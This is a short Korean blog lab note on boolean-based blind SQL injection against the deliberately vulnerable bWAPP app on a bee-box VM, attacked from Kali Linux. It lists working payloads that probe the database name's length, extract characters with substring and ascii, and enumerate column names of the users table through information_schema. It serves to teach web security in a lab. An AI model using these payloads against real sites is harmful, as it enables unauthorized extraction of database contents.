profile image

L o a d i n g . . .

실습 환경 : kali-linux(공격자 pc) ---> bee-box(희생자 pc)

kali-linux에서 bee-box ip로 접속

 

 

choose your bug -> sql injection -blind -boolean-based

 

 

' or 1=1#

 

Error based SQLi 과 달리 존재한다, 존재하지 않는다의 정보(참 or 거짓)만 알 수 있다.

 

 

DB 정보 확인(bWAPP)

 

1. 길이를 물어본다.

' or 1=1 and length(database())=5#

 

2. 문자열 검색

' or 1=1 and substring(database(), 1, 1) = 'b'#

데이터베이스 첫번째 값에서 하나를 가져온다는 뜻.

 

' or 1=1 and ascii(substring(database(), 1, 1)) = 98#

다음과 같이 ascii 코드 값으로 물어보면, for문으로 매칭 시킬 수 있다.

 

 

DB 내 테이블에서 칼럼 정보들 하나씩 가져오기

' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#

table_name이 'users'인 곳의 column_name에서 첫번째 꺼를 가져오기(limit 0, 1 이용해서)

-> 그 길이가 2인지 확인하는 것

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#

table_name이 'users'인 곳의 column_name에서 첫번째 꺼를 가져오기(limit 0, 1 이용해서)

-> substring을 이용해서 첫번째 값 하나가 'i'인지를 묻는 것.

-> column 중 id 값을 확인하기 위함이었다.

복사했습니다!